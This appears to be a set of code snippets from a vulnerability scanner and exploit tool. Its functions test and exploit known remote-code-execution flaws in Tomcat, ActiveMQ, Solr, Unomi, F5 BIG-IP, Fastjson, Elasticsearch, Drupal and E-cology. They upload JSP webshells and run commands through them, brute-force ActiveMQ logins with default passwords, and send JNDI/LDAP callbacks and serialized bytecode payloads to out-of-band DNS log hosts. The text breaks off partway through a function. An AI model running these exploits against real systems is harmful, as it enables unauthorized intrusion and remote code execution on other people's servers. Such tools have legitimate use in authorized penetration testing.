Ejemplo n.º 1
0
 def hyuga_co():
     headers_hyuga = {
         'User-Agent':
         'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
         'Connection': 'close',
         'Accept': '*/*',
         'Accept-Language':
         'zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6'
     }
     hyuga_api = "http://api.hyuga.co/v1/users"
     hyuga_host = globals.get_value("hyuga_domain")
     hyuga_token = globals.get_value("hyuga_token")
     try:
         if r"xxxxxx" in hyuga_host:  # 如果没有指定域名和token,就自动获取, 第一次获取token
             if r"xxxxxx" in hyuga_token:
                 dns = requests.post(hyuga_api,
                                     headers=headers_hyuga,
                                     timeout=timeout,
                                     verify=False)
                 hyuga_host = json.loads(dns.text)["data"]["identity"]
                 dns_host = random_md5() + "." + str(hyuga_host)
                 hyuga_token = json.loads(dns.text)["data"]["token"]
                 globals.set_value("hyuga_token", hyuga_token)
                 globals.set_value("hyuga_domain", hyuga_host)
                 return dns_host
             else:
                 return "bug"
         else:
             dns_host = random_md5() + "." + hyuga_host
             return dns_host
     except Exception as e:
         pass
Ejemplo n.º 2
0
 def dnslog_cn():
     headers_dnslog = {
         'User-Agent':
         'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
         'Host': 'www.dnslog.cn',
         'Cookie':
         'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
         'Accept': '*/*',
         'Referer': 'http://www.dnslog.cn/',
         'Accept-Language': 'zh-CN,zh;q=0.9',
         'Connection': 'close'
     }
     dnslog_api = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"
     d_p = globals.get_value("DNS_DNSLOG_HOST")
     try:
         if d_p is None:
             dns = requests.get(dnslog_api,
                                headers=headers_dnslog,
                                timeout=timeout,
                                verify=False)
             dns_host = random_md5() + "." + dns.text
             globals.set_value("DNS_DNSLOG_HOST", dns.text)
             return dns_host
         else:
             dns_host = random_md5() + "." + globals.get_value(
                 "DNS_DNSLOG_HOST")
             return dns_host
     except Exception:
         return "error"
Ejemplo n.º 3
0
 def cve_2017_12615_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Apache Tomcat: CVE-2017-12615"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "Apache Tomcat PUT 方法任意文件上传"
     self.vul_info["vul_numb"] = "CVE-2017-12615"
     self.vul_info["vul_apps"] = "Tomcat"
     self.vul_info["vul_date"] = "2017-09-20"
     self.vul_info["vul_vers"] = "7.0.0 - 7.0.81"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "任意文件上传"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Apache Tomcat如果开启PUT方法支持则可能存在远程代码执行漏洞,漏洞编号为CVE-2017-12615。" \
                                 "攻击者可以在使用该漏洞上传JSP文件,从而导致远程代码执行。"
     self.vul_info["cre_date"] = "2021-01-21"
     self.vul_info["cre_auth"] = "zhzyker"
     self.name = random_md5()
     key = random_md5()
     self.webshell = "/" + self.name + ".jsp/"
     self.payload1 = key
     self.payload2 = self.payload_cve_2017_12615
     try:
         self.request = requests.put(self.url + self.webshell,
                                     data=self.payload1,
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
         self.request = requests.get(self.url + self.webshell[:-1],
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
         if key in self.request.text:
             self.vul_info["vul_data"] = dump.dump_all(self.request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = self.url + "/" + self.name + ".jsp"
             self.vul_info[
                 "prt_info"] = "[url: " + self.url + "/" + self.name + ".jsp ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 4
0
 def cve_2017_12615_exp(self, cmd):
     vul_name = "Apache Tomcat: CVE-2017-12615"
     self.name = random_md5()
     self.webshell = "/" + self.name + ".jsp/"
     self.payload1 = self.name
     self.payload2 = self.payload_cve_2017_12615
     try:
         self.req = requests.put(self.url + self.webshell,
                                 data=self.payload2,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         self.urlcmd = self.url + "/" + self.name + ".jsp?pwd=password&cmd=" + cmd
         self.request = requests.get(self.urlcmd,
                                     headers=self.headers,
                                     timeout=self.timeout,
                                     verify=False)
         self.r = "Put Webshell: " + self.urlcmd + "\n-------------------------\n" + self.request.text
         raw_data = dump.dump_all(self.req).decode('utf-8', 'ignore')
         verify.exploit_print(self.r, raw_data)
     except requests.exceptions.Timeout:
         verify.timeout_print(vul_name)
     except requests.exceptions.ConnectionError:
         verify.connection_print(vul_name)
     except Exception as e:
         verify.error_print(vul_name)
Ejemplo n.º 5
0
 def cve_2016_3088_exp(self, cmd):
     self.threadLock.acquire()
     vul_name = "Apache AcitveMQ: CVE-2016-3088"
     self.path = "null"
     self.name = random_md5()
     self.webshell = "/" + self.name + ".jsp"
     self.exp = self.jsp_webshell
     self.passlist = [
         "admin:123456", "admin:admin", "admin:123123", "admin:activemq",
         "admin:12345678"
     ]
     try:
         for self.pa in self.passlist:
             self.base64_p = base64.b64encode(str.encode(self.pa))
             self.p = self.base64_p.decode('utf-8')
             self.headers_base64 = {
                 'User-Agent': self.ua,
                 'Authorization': 'Basic ' + self.p
             }
             self.request = requests.get(self.url +
                                         "/admin/test/systemProperties.jsp",
                                         headers=self.headers_base64,
                                         timeout=self.timeout,
                                         verify=False)
             if self.request.status_code == 200:
                 self.path = \
                     re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', self.request.text, re.S)[0]
                 break
         self.request = requests.put(self.url + "/fileserver/v.txt",
                                     headers=self.headers_base64,
                                     data=self.exp,
                                     timeout=self.timeout,
                                     verify=False)
         self.headers_move = {
             'User-Agent':
             self.ua,
             'Destination':
             'file://' + self.path + '/webapps/api' + self.webshell
         }
         self.request = requests.request("MOVE",
                                         self.url + "/fileserver/v.txt",
                                         headers=self.headers_move,
                                         timeout=self.timeout,
                                         verify=False)
         self.raw_data = dump.dump_all(self.request).decode(
             'utf-8', 'ignore')
         self.request = requests.get(self.url + "/api" + self.webshell +
                                     "?pwd=password&cmd=" + cmd,
                                     headers=self.headers_base64,
                                     timeout=self.timeout,
                                     verify=False)
         self.r = "[webshell: " + self.url + "/api" + self.webshell + "?pwd=password&cmd=" + cmd + " ]\n"
         self.r += self.request.text
         verify.exploit_print(self.r, self.raw_data)
     except requests.exceptions.Timeout:
         verify.timeout_print(vul_name)
     except requests.exceptions.ConnectionError:
         verify.connection_print(vul_name)
     except Exception:
         verify.error_print(vul_name)
Ejemplo n.º 6
0
 def cve_2019_0193_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Apache Solr: CVE-2019-0193"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2019_0193.replace("RECOMMAND", "whoami")
     self.vul_info["vul_name"] = "Apache Solr 搜索引擎中的命令执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2019-0193"
     self.vul_info["vul_apps"] = "Solr"
     self.vul_info["vul_date"] = "2019-10-16"
     self.vul_info["vul_vers"] = "< 8.2.0"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "Remote Code Execution"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患," \
                                 "在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制"
     self.vul_info["cre_auth"] = "zhzyker"
     core_name = "null"
     md = random_md5()
     cmd = "echo " + md
     payload = self.payload_cve_2019_0193.replace("RECOMMAND", quote(cmd, 'utf-8'))
     solrhost = self.hostname + ":" + str(self.port)
     headers = {
         'Host': "" + solrhost,
         'User-Agent': self.ua,
         'Accept': "application/json, text/plain, */*",
         'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
         'Accept-Encoding': "zip, deflate",
         'Referer': self.url + "/solr/",
         'Content-type': "application/x-www-form-urlencoded",
         'X-Requested-With': "XMLHttpRequest",
         'Connection': "close"
     }
     urlcore = self.url + "/solr/admin/cores?indexInfo=false&wt=json"
     try:
         request = requests.get(urlcore, headers=headers, timeout=self.timeout, verify=False)
         try:
             core_name = list(json.loads(request.text)["status"])[0]
         except:
             pass
         urlconfig = self.url + "/solr/" + str(core_name) + "/admin/mbeans?cat=QUERY&wt=json"
         request = requests.get(urlconfig, headers=headers, timeout=self.timeout, verify=False)
         url_cmd = self.url + "/solr/" + str(core_name) + "/dataimport"
         request = requests.post(url_cmd, data=payload, headers=headers, timeout=self.timeout, verify=False)
         if request.status_code == 200 and core_name != "null":
             self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoC_MaYbE"
             self.vul_info["prt_info"] = "[maybe] [core name:" + url_cmd + "] "
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 7
0
 def cve_2020_13942_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Apache Unomi: CVE-2020-13942"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2020_13942.replace(
         "RECOMMAND", "whoami")
     self.vul_info["vul_name"] = "Apache Unomi remote code execution"
     self.vul_info["vul_numb"] = "CVE-2020-13942"
     self.vul_info["vul_apps"] = "Unomi"
     self.vul_info["vul_date"] = "2020-11-23"
     self.vul_info["vul_vers"] = "< 1.5.2"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码," \
                                 "漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过," \
                                 "攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。"
     self.vul_info["cre_date"] = "2021-01-28"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "ping " + md
     self.payload = self.payload_cve_2020_13942.replace("RECOMMAND", cmd)
     self.headers = {
         'User-Agent': self.ua,
         'Accept': '*/*',
         'Connection': 'close',
         'Content-Type': 'application/json'
     }
     try:
         req = requests.post(self.url + "/context.json",
                             data=self.payload,
                             headers=self.headers,
                             timeout=self.timeout,
                             verify=False)
         request = requests.get(self.ceye_api + self.ceye_token)
         if md in request.text:
             self.vul_info["vul_data"] = dump.dump_all(req).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[ceye] [cmd:" + cmd + "]"
         else:
             rep = list(
                 json.loads(req.text)
                 ["trackedConditions"])[0]["parameterValues"]["pagePath"]
             if r"/tracker/" in rep:
                 self.vul_info["vul_data"] = dump.dump_all(req).decode(
                     'utf-8', 'ignore')
                 self.vul_info["prt_resu"] = "PoC_MaYbE"
                 self.vul_info["prt_info"] = "[maybe]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 8
0
 def fastjson_1247_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Fastjson: 1.2.47"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
     self.vul_info["vul_numb"] = "null"
     self.vul_info["vul_apps"] = "Fastjson"
     self.vul_info["vul_date"] = "2019-07-15"
     self.vul_info["vul_vers"] = "<= 1.2.47"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info[
         "vul_desc"] = "Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。"
     self.vul_info["cre_date"] = "2021-01-20"
     self.vul_info["cre_auth"] = "zhzyker"
     headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
     md = random_md5()
     dns = md + "." + self.ceye_domain
     data = {
         "a": {
             "@type": "java.lang.Class",
             "val": "com.sun.rowset.JdbcRowSetImpl"
         },
         "b": {
             "@type": "com.sun.rowset.JdbcRowSetImpl",
             "dataSourceName": "ldap://" + dns + "//Exploit",
             "autoCommit": True
         }
     }
     data = json.dumps(data)
     try:
         request = requests.post(self.url,
                                 data=data,
                                 headers=headers,
                                 timeout=self.timeout,
                                 verify=False)
         req = requests.get(self.ceye_api + self.ceye_token)
         if md in req.text:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["vul_payd"] = "ldap://" + dns + "//Exploit] "
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info[
                 "prt_info"] = "[ceye] [payload: ldap://" + dns + "//Exploit] "
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 9
0
 def cve_2021_22986_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "F5 BIG-IP: CVE-2021-22986"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "F5 BIG-IP Remote Code Execution"
     self.vul_info["vul_numb"] = "CVE-2021-22986"
     self.vul_info["vul_apps"] = "Flink"
     self.vul_info["vul_date"] = "2021-03-11"
     self.vul_info["vul_vers"] = "< 16.0.1"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "Remote Code Execution"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "BIG-IP存在代码执行漏洞,该漏洞允许定义身份验证的攻击者通过BIG-IP" \
                                 "管理界面和自身IP地址对iControl REST接口进行网络访问,以执行任意系统命令," \
                                 "创建或删除文件以及替换服务。该中断只能通过控制界面利用,而不能通过数据界面利用。"
     self.vul_info["cre_date"] = "2021-03-20"
     self.vul_info["cre_auth"] = "zhzyker"
     headers = {
         'User-Agent': self.ua,
         'Accept': '*/*',
         'Connection': 'close',
         'Authorization': 'Basic YWRtaW46',
         'X-F5-Auth-Token': '',
         'Content-Type': 'application/json'
     }
     md = random_md5()
     cmd = "echo " + md
     data = r'''{"command": "run", "utilCmdArgs": "-c 'RECOMMAND'"}'''.replace(
         "RECOMMAND", cmd)
     url = urljoin(self.url, "/mgmt/tm/util/bash")
     try:
         request = requests.post(url,
                                 data=data,
                                 headers=headers,
                                 timeout=self.timeout,
                                 verify=False)
         r = json.loads(request.text)["commandResult"]
         if request.status_code == 200:
             if md in misinformation(r, md):
                 self.vul_info["vul_data"] = dump.dump_all(request).decode(
                     'utf-8', 'ignore')
                 self.vul_info["vul_payd"] = data
                 self.vul_info["prt_resu"] = "PoCSuCCeSS"
                 self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 10
0
 def fastjson_1224_2_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Fastjson: VER-1224-2"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2017-18349"
     self.vul_info["vul_apps"] = "Fastjson"
     self.vul_info["vul_date"] = "2017-03-15"
     self.vul_info["vul_vers"] = "<= 1.2.24"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码"
     self.vul_info["cre_date"] = "2021-04-08"
     self.vul_info["cre_auth"] = "zhzyker"
     md = random_md5()
     cmd = "echo " + md
     headers = {
         'User-Agent': self.ua,
         'Content-Type': 'application/json',
         'Testcmd': cmd,
         'Connection': 'close'
     }
     data = {
         "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
         "_bytecodes": [
             "yv66vgAAADMA6wEAHnlzb3NlcmlhbC9Qd25lcjk0NDQ5MTgyMDEzMzcwMAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAZUHduZXI5NDQ0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AxJeU7YANSsEvQAEWQMSmlO2ACzAAF5OLQGlAAottgCemQAGpwBYLLYAMBKgBL0ADFkDsgAeU7YANSwEvQAEWQO7ABpZEQDItwAmU7YALFcstgAwEqIFvQAMWQMSXlNZBBJeU7YANSwFvQAEWQMSmlNZBC1TtgAsVwQ2BCu2ADASmAS9AAxZAxJeU7YANSsEvQAEWQMSpFO2ACzAAF5OLQGlAAottgCemQAGpwCNLLYAMBKgBL0ADFkDsgAeU7YANSwEvQAEWQO7ABpZEQDItwAmU7YALFcSprgArLYArxKxtgB7mQAYBr0AXlkDErNTWQQStVNZBS1TpwAVBr0AXlkDErdTWQQSuVNZBS1TOgwsuwC7WbsAvVkZDLcAwLYAxLYAyrcAzRLPtgDTtgDWtgDauADcBDYELQGlAAottgCemQAIFQSaAAanABAsuADgtgDltgDauADcFQSZAAanAAmECgGn/lwVBJkABqcACYQGAaf937EAAQBfAHAAcwBBAAEAQgAAAN0AGf8AGgAHBwACAAAAAQcAcQEAAPwAFwcAY/8AFwAIBwACAAAHAF4BBwBxAQcAYwAAAv8AEQAIBwACBwAEAAcAXgEHAHEBBwBjAABTBwBBBP8AAgAIBwACBwAEAAcAXgEHAHEBBwBjAAD+AA0ABwCLAf8AYwAMBwACBwAEBwAEBwBeAQcAcQEHAGMABwCLAQcABAAAAvsAVC4C+wBNUQcA5ykLBAIMB/8ABQALBwACBwAEAAcAXgEHAHEBBwBjAAcAiwEAAP8ABwAIBwACAAAAAQcAcQEHAGMAAPoABQA/AAAABAABAEEAAQAFAAAAAgAG"
         ],
         "_name": "lightless",
         "_tfactory": {
         },
         "_outputProperties":{
         }
     }
     data = json.dumps(data)
     try:
         request = requests.post(self.url, data=data, headers=headers, timeout=self.timeout, verify=False)
         if md in misinformation(request.text, md):
             self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
             self.vul_info["vul_payd"] = data
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[rce] [tomcat] [cmd: " + cmd + "]"
             verify.scan_print(self.vul_info)
         else:
             verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 11
0
 def cve_2014_3120_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Elasticsearch: CVE-2014-3120"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = self.payload_cve_2014_3120.replace(
         "RECOMMAND", "whoami")
     self.vul_info["vul_name"] = "Elasticsearch 命令执行漏洞"
     self.vul_info["vul_numb"] = "CVE-2014-3120"
     self.vul_info["vul_apps"] = "Fastjson"
     self.vul_info["vul_date"] = "2014-04-29"
     self.vul_info["vul_vers"] = "< 1.2"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "命令执行漏洞"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "Elasticsearch 1.2之前的默认配置启用动态脚本编制,该脚本允许远程攻击者通过_search的source" \
                                 "参数执行任意MVEL表达式和Java代码。"
     self.vul_info["cre_date"] = "2021-01-21"
     self.vul_info["cre_auth"] = "zhzyker"
     self.data_send_info = r'''{ "name": "cve-2014-3120" }'''
     md = random_md5()
     cmd = "echo " + md
     self.data_rce = self.payload_cve_2014_3120.replace("RECOMMAND", cmd)
     try:
         self.request = requests.post(self.url + "/website/blog/",
                                      data=self.data_send_info,
                                      headers=self.headers,
                                      timeout=self.timeout,
                                      verify=False)
         self.req = requests.post(self.url + "/_search?pretty",
                                  data=self.data_rce,
                                  headers=self.headers,
                                  timeout=self.timeout,
                                  verify=False)
         try:
             self.r = list(json.loads(
                 self.req.text)["hits"]["hits"])[0]["fields"]["command"][0]
         except:
             self.r = "null"
         if md in self.r:
             self.vul_info["vul_data"] = dump.dump_all(self.req).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["prt_info"] = "[rce] [cmd: " + cmd + "] "
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as e:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 12
0
 def cve_2019_6340_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Drupal: CVE-2019-6340"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "drupal core restful remote code execution"
     self.vul_info["vul_numb"] = "CVE-2019-6340"
     self.vul_info["vul_apps"] = "Drupal"
     self.vul_info["vul_date"] = "2019-02-22"
     self.vul_info["vul_vers"] = "< 8.6.10"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "POST/PATCH 请求,在进行 REST API 操作的过程中,会将未经安全过滤的参数内容带入unserialize " \
                                 "函数而触发反序列化漏洞,进而导致任意代码执行。"
     self.vul_info["cre_date"] = "2021-01-29"
     self.vul_info["cre_auth"] = "zhzyker"
     self.path = "/node/?_format=hal_json"
     md = random_md5()
     cmd = "echo " + md
     self.cmd_len = len(cmd)
     self.payload = self.payload_cve_2019_6340 % (self.cmd_len, cmd,
                                                  self.url)
     self.headers = {
         'User-Agent': self.ua,
         'Connection': "close",
         'Content-Type': "application/hal+json",
         'Accept': "*/*",
         'Cache-Control': "no-cache"
     }
     try:
         request = requests.post(self.url + self.path,
                                 data=self.payload,
                                 headers=self.headers,
                                 timeout=self.timeout,
                                 verify=False)
         if md in misinformation(request.text, md):
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_urls"] = self.payload
             self.vul_info["prt_info"] = "[rce] [cmd:" + cmd + "]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 13
0
 def time_2021_0515_poc(self):
     self.threadLock.acquire()
     self.vul_info[
         "prt_name"] = "E-cology OA WorkflowServiceXml RCE: time-2021-0515"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_name"] = "E-cology OA WorkflowServiceXml RCE"
     self.vul_info["vul_numb"] = "time-2021-0415"
     self.vul_info["vul_apps"] = "E-cology"
     self.vul_info["vul_date"] = "2021-05-15"
     self.vul_info["vul_vers"] = "E-cology <= 9.0"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "RCE"
     self.vul_info["vul_data"] = "null"
     self.vul_info[
         "vul_desc"] = "The WorkflowServiceXml interface can be accessed without authorization. The attacker can call this interface to construct a specific HTTP request to bypass the security restrictions of E-cology itself to achieve remote command execution."
     self.vul_info["cre_date"] = "2021-05-19"
     self.vul_info["cre_auth"] = "zhzyker"
     url = urljoin(self.url, "/services%20/WorkflowServiceXml")
     md = random_md5()
     cmd = "echo " + md
     headers = {
         'User-Agent': self.ua,
         'SOAPAction': '""',
         'cmd': cmd,
         "Content-Type": "text/xml;charset=UTF-8"
     }
     data = self.payload_time_2021_0515
     try:
         request = requests.post(url,
                                 data=data,
                                 headers=headers,
                                 timeout=self.timeout,
                                 verify=False)
         #print(self.url + "  " + str(request.status_code) + request.text)
         if md in misinformation(request.text,
                                 md) and request.status_code == 500:
             self.vul_info["vul_data"] = dump.dump_all(request).decode(
                 'utf-8', 'ignore')
             self.vul_info["prt_resu"] = "PoCSuCCeSS"
             self.vul_info["vul_payd"] = data
             self.vul_info["prt_info"] = "[rce: " + url + " ]"
         verify.scan_print(self.vul_info)
     except requests.exceptions.Timeout:
         verify.timeout_print(self.vul_info["prt_name"])
     except requests.exceptions.ConnectionError:
         verify.connection_print(self.vul_info["prt_name"])
     except Exception as error:
         verify.error_print(self.vul_info["prt_name"])
     self.threadLock.release()
Ejemplo n.º 14
0
 def cve_2017_12629_exp(self, cmd):
     vul_name = "Apache Solr: CVE-2017-12629"
     core_name = "null"
     new_core = random_md5()
     payload1 = self.payload_cve_2017_12629.replace(
         "RECOMMAND", cmd).replace("new_core", new_core)
     payload2 = '[{"id": "test"}]'
     url_core = self.url + "/solr/admin/cores?indexInfo=false&wt=json"
     headers_solr1 = {
         'Host': "localhost",
         'Accept': "*/*",
         'User-Agent': self.ua,
         'Connection': "close"
     }
     headers_solr2 = {
         'Host': "localhost",
         'Accept-Language': "en",
         'User-Agent': self.ua,
         'Connection': "close",
         'Content-Type': "application/json"
     }
     try:
         request = requests.get(url_core,
                                headers=self.headers,
                                timeout=self.timeout,
                                verify=False)
         try:
             core_name = list(json.loads(request.text)["status"])[0]
         except:
             pass
         req = requests.post(self.url + "/solr/" + str(core_name) +
                             "/config",
                             data=payload1,
                             headers=headers_solr1,
                             timeout=self.timeout,
                             verify=False)
         request = requests.post(self.url + "/solr/" + str(core_name) +
                                 "/update",
                                 data=payload2,
                                 headers=headers_solr2,
                                 timeout=self.timeout,
                                 verify=False)
         raw_data = dump.dump_all(req).decode('utf-8', 'ignore')
         r = "Command Executed Successfully (But No Echo)"
         verify.exploit_print(r, raw_data)
     except requests.exceptions.Timeout:
         verify.timeout_print(vul_name)
     except requests.exceptions.ConnectionError:
         verify.connection_print(vul_name)
     except Exception:
         verify.error_print(vul_name)
Ejemplo n.º 15
0
 def fastjson_1262_poc(self):
     self.threadLock.acquire()
     self.vul_info["prt_name"] = "Fastjson: 1.2.62"
     self.vul_info["prt_resu"] = "null"
     self.vul_info["prt_info"] = "null"
     self.vul_info["vul_payd"] = "null"
     self.vul_info["vul_urls"] = self.url
     self.vul_info["vul_name"] = "Fastjson 反序列化远程代码执行漏洞"
     self.vul_info["vul_numb"] = "null"
     self.vul_info["vul_apps"] = "Fastjson"
     self.vul_info["vul_date"] = "2019-10-07"
     self.vul_info["vul_vers"] = "<= 1.2.62"
     self.vul_info["vul_risk"] = "high"
     self.vul_info["vul_type"] = "远程代码执行"
     self.vul_info["vul_data"] = "null"
     self.vul_info["vul_desc"] = "官方暂未发布针对此漏洞的修复版本,开启了autoType功能的受影响用户可通过关闭autoType来规避风险" \
                                 "(autoType功能默认关闭),另建议将JDK升级到最新版本。"
     self.vul_info["cre_date"] = "2021-01-21"
     self.vul_info["cre_auth"] = "zhzyker"
     headers = {'User-Agent': self.ua, 'Content-Type': "application/json"}
     md = random_md5()
     dns = md + "." + self.ceye_domain
     data = {
         "@type": "org.apache.xbean.propertyeditor.JndiConverter",
         "AsText": "ldap://" + dns + "//exploit"
     }
     data = json.dumps(data)
     try:
         request = requests.post(self.url,
                                 data=data,
                                 headers=headers,
                                 timeout=self.timeout,
                                 verify=False)
         req = requests.get(self.ceye_api + self.ceye_token)
         if md in req.text:
